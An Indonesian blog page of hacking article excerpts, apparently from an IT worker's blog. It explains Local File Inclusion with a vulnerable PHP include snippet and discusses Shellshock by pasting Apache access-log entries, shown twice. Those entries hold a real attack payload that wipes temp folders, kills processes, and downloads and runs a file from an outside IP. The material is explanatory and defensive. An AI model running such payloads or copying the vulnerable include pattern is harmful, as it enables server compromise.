Hacking

Kali ini saya akan cerita tentang teknik hacking. Saya menggunakan komputer saya sendiri sebagai contoh, agar tidak menimbulkan dampak di pihak lain.

Local File Inclusion, biasa terjadi pada web yang menggunakan teknik include, dengan masukan include ditentukan dari GET query string parameter. Contoh

<?php  
$page = isset($_GET['page'])?$page=$_GET['page']:$page='home.php' ;  
if(file_exists($page)){ 	 
include $page;  
}else{ 	 
echo "Sorry the content does not exist";  } 
?>

<?php

$page = isset($_GET['page'])?$page=$_GET['page']:$page='home.php' ;

if(file_exists($page)){

include $page;

}else{

echo "Sorry the content does not exist"; }

Code tersebut akan diakses dengan menggunakan URL : http://namasitus.tld/index.php?page=halaman.php. Jika parameter query string page pada URL tersebut kosong, maka akan diisi otomatis dengan home.php

Konsep pengambilan halaman dengan metode inklusi dengan masukan dari parameter GET, ternyata memiliki risiko. Berikut dongeng risiko LFI di bawah.
Continue reading “Dongeng : Dampak Berat Bug Security Local File Inclusion (LFI) Vulnerability” →

Sebelum lebih jelas bercerita tentang serangan shellshock ini, ada baiknya juga membaca cerita ini:

http://en.wikipedia.org/wiki/Shellshock_(software_bug)
http://www.troyhunt.com/2014/09/everything-you-need-to-know-about.html
https://shellshocker.net/

Shellshock ini bug yang dirilis kisah vulnerability-nya pada sekitar akhir 2014. Shellshock ini menyerang beberapa service network yang memiliki kemampuan execute command dari sisi client, dengan otentifikasi lemah. Shellshock ini merupakan bug keluarga dari bash bug. Shellshock paling deras menyanyerang webserver Apache yang menjalankan PHP-CGI. Sementara PHP-CGI banyak digunakan oleh layanan hosting untuk melayani multiversi PHP permintaan para client. Perhatikan pada attachment berikut:

5.135.167.145 - - [20/Apr/2015:23:55:29 +0700] "GET /cgi-bin/test.cgi HTTP/1.1" 404 470 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r  y print start pscan pnscan ps  ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"
5.135.167.145 - - [20/Apr/2015:23:55:30 +0700] "GET /cgi-bin/test-cgi.pl HTTP/1.1" 404 472 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r  y print start pscan pnscan ps  ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"
5.135.167.145 - - [20/Apr/2015:23:55:31 +0700] "GET /cgi-bin/test.sh HTTP/1.1" 404 470 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r  y print start pscan pnscan ps  ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"
5.135.167.145 - - [20/Apr/2015:23:55:32 +0700] "GET /cgi-bin/tools/tools.pl HTTP/1.1" 404 473 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r  y print start pscan pnscan ps  ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"
5.135.167.145 - - [20/Apr/2015:23:55:32 +0700] "GET /cgi-mod/index.cgi HTTP/1.1" 404 473 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r  y print start pscan pnscan ps  ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"
5.135.167.145 - - [20/Apr/2015:23:55:33 +0700] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 404 479 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r  y print start pscan pnscan ps  ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"
5.135.167.145 - - [20/Apr/2015:23:55:34 +0700] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 404 477 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r  y print start pscan pnscan ps  ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"
5.135.167.145 - - [20/Apr/2015:23:55:34 +0700] "GET /cgi-sys/php5 HTTP/1.1" 404 470 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r  y print start pscan pnscan ps  ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"
5.135.167.145 - - [20/Apr/2015:23:55:35 +0700] "GET /phppath/cgi_wrapper HTTP/1.1" 404 474 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r  y print start pscan pnscan ps  ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"
5.135.167.145 - - [20/Apr/2015:23:55:36 +0700] "GET /phppath/php HTTP/1.1" 404 465 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r  y print start pscan pnscan ps  ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"
5.135.167.145 - - [20/Apr/2015:23:55:11 +0700] "GET / HTTP/1.1" 200 524 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r  y print start pscan pnscan ps  ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"

5.135.167.145 - - [20/Apr/2015:23:55:29 +0700] "GET /cgi-bin/test.cgi HTTP/1.1" 404 470 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r y print start pscan pnscan ps ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"

5.135.167.145 - - [20/Apr/2015:23:55:30 +0700] "GET /cgi-bin/test-cgi.pl HTTP/1.1" 404 472 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r y print start pscan pnscan ps ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"

5.135.167.145 - - [20/Apr/2015:23:55:31 +0700] "GET /cgi-bin/test.sh HTTP/1.1" 404 470 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r y print start pscan pnscan ps ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"

5.135.167.145 - - [20/Apr/2015:23:55:32 +0700] "GET /cgi-bin/tools/tools.pl HTTP/1.1" 404 473 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r y print start pscan pnscan ps ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"

5.135.167.145 - - [20/Apr/2015:23:55:32 +0700] "GET /cgi-mod/index.cgi HTTP/1.1" 404 473 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r y print start pscan pnscan ps ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"

5.135.167.145 - - [20/Apr/2015:23:55:33 +0700] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 404 479 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r y print start pscan pnscan ps ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"

5.135.167.145 - - [20/Apr/2015:23:55:34 +0700] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 404 477 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r y print start pscan pnscan ps ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"

5.135.167.145 - - [20/Apr/2015:23:55:34 +0700] "GET /cgi-sys/php5 HTTP/1.1" 404 470 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r y print start pscan pnscan ps ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"

5.135.167.145 - - [20/Apr/2015:23:55:35 +0700] "GET /phppath/cgi_wrapper HTTP/1.1" 404 474 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r y print start pscan pnscan ps ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"

5.135.167.145 - - [20/Apr/2015:23:55:36 +0700] "GET /phppath/php HTTP/1.1" 404 465 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r y print start pscan pnscan ps ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download http://217.217.198.42/y.gif ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"

5.135.167.145 - - [20/Apr/2015:23:55:11 +0700] "GET / HTTP/1.1" 200 524 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; killall -9 b f r y print start pscan pnscan ps ; wget http://217.217.198.42/y.gif ; curl -O http://217.217.198.42/y.gif ; fetch http://217.217.198.42/y.gif ; lwp-download ; chmod +x y.gif ; sh y.gif ; rm -rf y.gif* \");'"

Continue reading “[Security] Serangan pada bug ShellShock melalui PHP-CGI” →

Catatan buruh IT

Dongeng : Dampak Berat Bug Security Local File Inclusion (LFI) Vulnerability

Mengamankan robot.txt dan sitemap.xml Melalui Config Apache

Fakta Tentang Proses Produksi yang Bernama : Penetration Testing

[Security] Serangan pada bug ShellShock melalui PHP-CGI

Disable Handler PHP pada Uploadable Directory Apache

Meminjam IP Publik Lain Network untuk Web Server Lokal dengan SSH

Back Connect dengan Menggunakan Reverse SSH

Artikel terkait

Artikel terkait

Artikel terkait

Artikel terkait

Artikel terkait

Artikel terkait